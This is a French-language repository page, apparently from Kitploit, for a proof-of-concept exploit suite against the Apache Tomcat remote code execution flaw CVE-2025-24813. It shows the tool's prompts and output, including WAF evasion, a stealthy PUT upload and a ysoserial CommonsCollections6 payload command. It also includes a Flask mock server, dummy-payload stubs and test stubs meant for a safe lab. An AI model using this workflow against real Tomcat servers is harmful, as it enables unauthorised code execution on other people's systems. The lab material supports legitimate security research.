POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution — Ce dépôt contient un exploit automatisé développé à des fins éducatives et de recherche en cybersécurité, visant à démontrer une potentielle vulnérabilité d’exécution de code à distance (RCE) dans Apache Tomcat (CVE-2025-24813). | Kitploit

⚠️🚀 CVE-2025-24813 — Suite d'exploitation RCE Apache Tomcat

⚡ Version : 1.0 🛡️ ID CVE : CVE-2025-24813 (Apache Tomcat RCE) 🧬 Payloads : ysoserial / Java 🌐 Mode : Interactif + Stealth 🔬 Utilisation : Éthique, Recherche, Éducatif

🌌 Vue d'ensemble

🔗 [?] Entrez l'URL cible : https://victime.org
💣 [?] Commande à exécuter : whoami
🧬 [?] Type de payload : ysoserial
📂 [?] Chemin vers ysoserial.jar : ysoserial.jar
🔧 [?] Gadget : CommonsCollections6
🔐 [?] Vérifier SSL ? (oui/non) : non

🚀 Exécution en cours...
🧬 WAF détecté... changement de stratégie
⚙️ Téléchargement du payload en cours...
💥 Confirmation d'exécution à distance
✅ Résultat : 'apache'

┌──────────────────────────────┐
│  Mode Interactif             │
├──────────────────────────────┤
│  Validation d'URL            │
│  Détection de session        │
│  Détection de WAF            │
│  Génération de payload       │
│  Téléchargement furtif via PUT │
│  Vérification d'exécution    │
└──────────────────────────────┘
        ↘ JOURNAUX PAR CIBLE

POC-Exploit_CVE_2025_24813.py   # Script principal
ysoserial.jar               # Requis si vous utilisez 'ysoserial'
logs/                       # Dossier de journaux individuels par cible
payload.ser                 # Payload généré temporairement
Exploit.java / .class       # Fichiers temporaires pour Java

Téléchargez le .jar depuis ici 👉 https://github.com/frohoff/ysoserial
Placez-le dans le même répertoire que le script ou indiquez le chemin complet lorsqu'on vous le demande. Exemple :
```
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
```

Installer Python 3.8+
Installer les bibliothèques :
```
pip install requests colorama etc
```
Installer Java JDK 8+
```
java -version
javac -version
```
Télécharger ysoserial.jar dans le dossier du script.

python3 -m venv .venv
source .venv/bin/activate   # Linux / macOS
.\.venv\Scripts\activate  # Windows (PowerShell/Command Prompt)

pip install -U pip
pip install requests colorama flask

# mock_server.py — servidor de pruebas seguro
from flask import Flask, request, make_response, jsonify

app = Flask(__name__)
uploads = {}

@app.route('/index.jsp', methods=['GET'])
def index():
    # Simula una página que puede devolver una cookie JSESSIONID o un texto con "Session ID"
    resp = make_response('Index page — Session ID: testsession')
    resp.set_cookie('JSESSIONID', 'testsession')
    return resp

@app.route('/check.txt', methods=['PUT'])
def check_put():
    # Simula un recurso escribible
    return ('OK', 200)

@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
    # Simula que la subida fue aceptada pero retorna 409 (comportamiento que el script espera)
    uploads[session_id] = True
    return ('Conflict - uploaded', 409)

@app.route('/', methods=['GET'])
def root():
    # Si la cookie coincide y la sesión fue "subida", devolvemos 500 para simular fallo por deserialización
    session = request.cookies.get('JSESSIONID')
    if session and uploads.get(session):
        return ('Internal Server Error', 500)
    return ('Hello from mock server', 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000, debug=True)

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---


def generate_java_payload(command, payload_file, target_url):
    if SAFE_TEST:
        log_info("SAFE_TEST activo — creando payload java dummy (no ejecutable)", target_url)
        with open(payload_file, 'wb') as f:
            f.write(b"DUMMY_JAVA_PAYLOAD")
        return payload_file
    # --- comportamiento original solo si SAFE_TEST == False ---

Lancez votre environnement virtuel et assurez-vous d'avoir les dépendances installées (voir section Prérequis).
Lancez le mock_server.py :
```
python mock_server.py
```
Créez le payload factice si vous n'utilisez pas SAFE_TEST ou s'il ne crée pas le payload pour vous :
```
echo "DUMMY_PAYLOAD" > payload.ser
```

Activez le mode sécurisé dans le terminal :

export SAFE_TEST=1   # Linux/macOS
# o en PowerShell: $env:SAFE_TEST = "1"

Exécutez le script principal :
```
python3 tu_script.py
```
Répondez aux invites (vous utiliserez des valeurs de laboratoire) :
- Enter target URL : http://127.0.0.1:8000
- Enter command to execute : laissez par défaut (ne sera pas exécuté en SAFE_TEST)
- Payload type : ysoserial (le script, avec SAFE_TEST=1, créera un payload factice au lieu d'invoquer des outils externes)
- Path to ysoserial.jar : (vous pouvez laisser ysoserial.jar — ne sera pas utilisé en mode sécurisé)
- Verify SSL ? no (votre mock utilise HTTP)
Observez la sortie console : vous devriez voir les messages Server is writable via PUT, Payload uploaded with status 409 et Exploit succeeded! Server returned 500 after deserialization. — c'est uniquement sur le mock et signifie que le flux logique du script fonctionne.
Vérifiez les journaux dans logs/ — le script enregistre des entrées avec des horodatages. Par exemple logs/127_0_0_1_8000.log (selon le nom de cible assaini).

# test_script.py
import requests
import requests_mock
from tu_script import validate_url, retry_request

def test_validate_url():
    assert validate_url('http://127.0.0.1:8000')
    assert not validate_url('notaurl')

def test_retry_request_success():
    # usa requests_mock para simular un GET y comprobar retry_request
    pass

POC-CVE-2025-24813-Apache-Tomcat-Remote-Code-Execution

Populaires

🧠 Que fait ce script ?

🛸 Fonctionnalités principales

⚙️ Prérequis

🧪 Mode d'emploi

🎯 Exemple visuel :

🌈 Architecture visuelle du script

🧬 Types de Payload

Gadgets courants :

📁 Structure du projet

👨‍⚖️ Utilisation responsable et éthique

⚖️ Clause de non-responsabilité

🧠 Crédits

🛰️ CVE Référencé

📜 Licence

💎 Inspiration visuelle

🔧 Dépendances nécessaires

1. Python

2. Java

3. Ysoserial

4. Système d'exploitation

⚙️ Résumé de l'installation

🛡️ README — Tutoriel sécurisé pas à pas

⚠️ Avis légal et éthique (À LIRE AVANT DE COMMENCER)

🔍 Ce que contient ce tutoriel

🧾 Prérequis

🧪 1) Serveur de test (mock) — code sécurisé

📁 2) Préparer un payload factice (inoffensif)

⚙️ 3) Ajouter un mode sécurisé (SAFE_TEST) au script original

▶️ 4) Exécution pas à pas (mode sécurisé)

🔎 5) Que vérifier lors des tests

🧪 6) Tests unitaires (recommandation)

❌ Ce qu'il NE FAUT PAS faire